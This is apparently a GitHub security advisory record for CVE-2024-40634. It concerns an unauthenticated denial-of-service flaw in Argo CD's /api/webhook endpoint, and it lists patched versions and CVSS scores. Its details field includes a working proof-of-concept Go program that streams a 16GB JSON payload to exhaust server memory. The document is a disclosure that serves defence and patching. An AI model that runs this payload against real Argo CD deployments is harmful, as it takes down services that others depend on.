CVE-2024-40634: Github.com/argoproj/argo cd Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jmvp-698c-4x3w",
  "modified" : "2024-08-07T14:17:41Z",
  "published" : "2024-07-22T17:20:02Z",
  "aliases" : [ "CVE-2024-40634" ],
  "summary" : "Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint",
  "details" : "### Summary\nThis report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.\n\n### Details\nThe webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case \"X-GitHub-Event: push\") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.\n\nThe fix would be to enforce a limit on the size of the request being parsed.\n\n### PoC\nPort-forward to the argocd-server service, like so:\n\n```console\nkubectl port-forward svc/argocd-server -n argocd 8080:443\n```\n\nRun the below code:\n\n```go\npackage main\n\nimport (\n\t\"crypto/tls\"\n\t\"io\"\n\t\"net/http\"\n)\n\n// Define a custom io.Reader that generates a large dummy JSON payload.\ntype DummyJSONReader struct {\n\tsize int64 // Total size to generate\n\tread int64 // Bytes already generated\n}\n\n// Read generates the next chunk of the dummy JSON payload.\nfunc (r *DummyJSONReader) Read(p []byte) (n int, err error) {\n\tif r.read >= r.size {\n\t\treturn 0, io.EOF // Finished generating\n\t}\n\n\tstart := false\n\tif r.read == 0 {\n\t\t// Start of JSON\n\t\tp[0] = '{'\n\t\tp[1] = '\"'\n\t\tp[2] = 'd'\n\t\tp[3] = 'a'\n\t\tp[4] = 't'\n\t\tp[5] = 'a'\n\t\tp[6] = '\"'\n\t\tp[7] = ':'\n\t\tp[8] = '\"'\n\t\tn = 9\n\t\tstart = true\n\t}\n\n\tfor i := n; i < len(p); i++ {\n\t\tif r.read+int64(i)-int64(n)+1 == r.size-1 {\n\t\t\t// End of JSON\n\t\t\tp[i] = '\"'\n\t\t\tp[i+1] = '}'\n\t\t\tr.read += int64(i) + 2 - int64(n)\n\t\t\treturn i + 2 - n, nil\n\t\t} else {\n\t\t\tp[i] = 'x' // Dummy data\n\t\t}\n\t}\n\n\tr.read += int64(len(p)) - int64(n)\n\tif start {\n\t\treturn len(p), nil\n\t}\n\treturn len(p) - n, nil\n}\n\nfunc main() {\n\t// Initialize the custom reader with the desired size (16GB in this case).\n\tpayloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB\n\treader := &DummyJSONReader{size: payloadSize}\n\n\t// HTTP client setup\n\thttpClient := &http.Client{\n\t\tTimeout: 0, // No timeout\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t}\n\n\treq, err := http.NewRequest(\"POST\", \"https://localhost:8080/api/webhook\", reader)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Set headers\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"X-GitHub-Event\", \"push\")\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tprintln(\"Response status code:\", resp.StatusCode)\n}\n```\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.6\nv2.10.15\nv2.9.20\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\nThis vulnerability was found & reported by Jakub Ciolek\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
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      "name" : "github.com/argoproj/argo-cd"
    },
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        "introduced" : "1.0.0"
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    } ]
  }, {
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      "name" : "github.com/argoproj/argo-cd/v2"
    },
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      "events" : [ {
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        "fixed" : "2.9.20"
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  }, {
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      "events" : [ {
        "introduced" : "2.10.0"
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    } ]
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  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/security/advisories/GHSA-jmvp-698c-4x3w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-40634"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/commit/46c0c0b64deaab1ece70cb701030b76668ad0cdc"
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    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/commit/540e3a57b90eb3655db54793332fac86bcc38b36"
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    "url" : "https://github.com/argoproj/argo-cd/commit/d881ee78949e23160a0b280bb159e4d3d625a4df"
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    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-cd"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-3002"
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  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-07-22T17:20:02Z",
    "nvd_published_at" : "2024-07-22T18:15:03Z"
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